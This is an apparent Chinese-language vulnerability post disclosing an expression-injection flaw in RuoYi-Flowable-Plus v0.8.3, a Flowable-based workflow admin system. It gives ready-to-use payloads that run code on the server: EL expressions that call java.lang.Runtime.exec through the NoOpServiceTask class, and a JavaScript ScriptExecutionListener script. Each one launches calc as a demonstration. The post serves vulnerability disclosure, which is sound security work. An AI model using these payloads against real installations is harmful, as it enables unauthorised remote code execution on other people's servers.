RuoYi-Flowable-Plus 0day表达式注入
使用版本:v0.8.3
下载地址:https://gitee.com/KonBAI-Q/ruoyi-flowable-plus
此系统为若依二开的,添加了Flowable流程引擎,后台存在表达式注入。
(Flowable是一个使用Java编写的轻量级业务流程引擎)
利用方式
方法一(使用java类):
条件:
1.需要公共无参构造函数(因为使用了newinstance来实列化)
2.需要实现JavaDelegate接口,存在excute函数
实现条件:
类一:
org.flowable.engine.impl.test.NoOpServiceTask
添加name表达式: ${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc.exe')}
类二:
org.flowable.engine.impl.bpmn.listener.ScriptExecutionListener
添加一下两个变量,选择表达式,
script:var System = java.lang.Runtime.getRuntime().exec("calc");
language:js
方法二 (使用表达式或者代理表达式):
${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc.exe')}
POC
暂无
EXP
暂无
Comments | NOTHING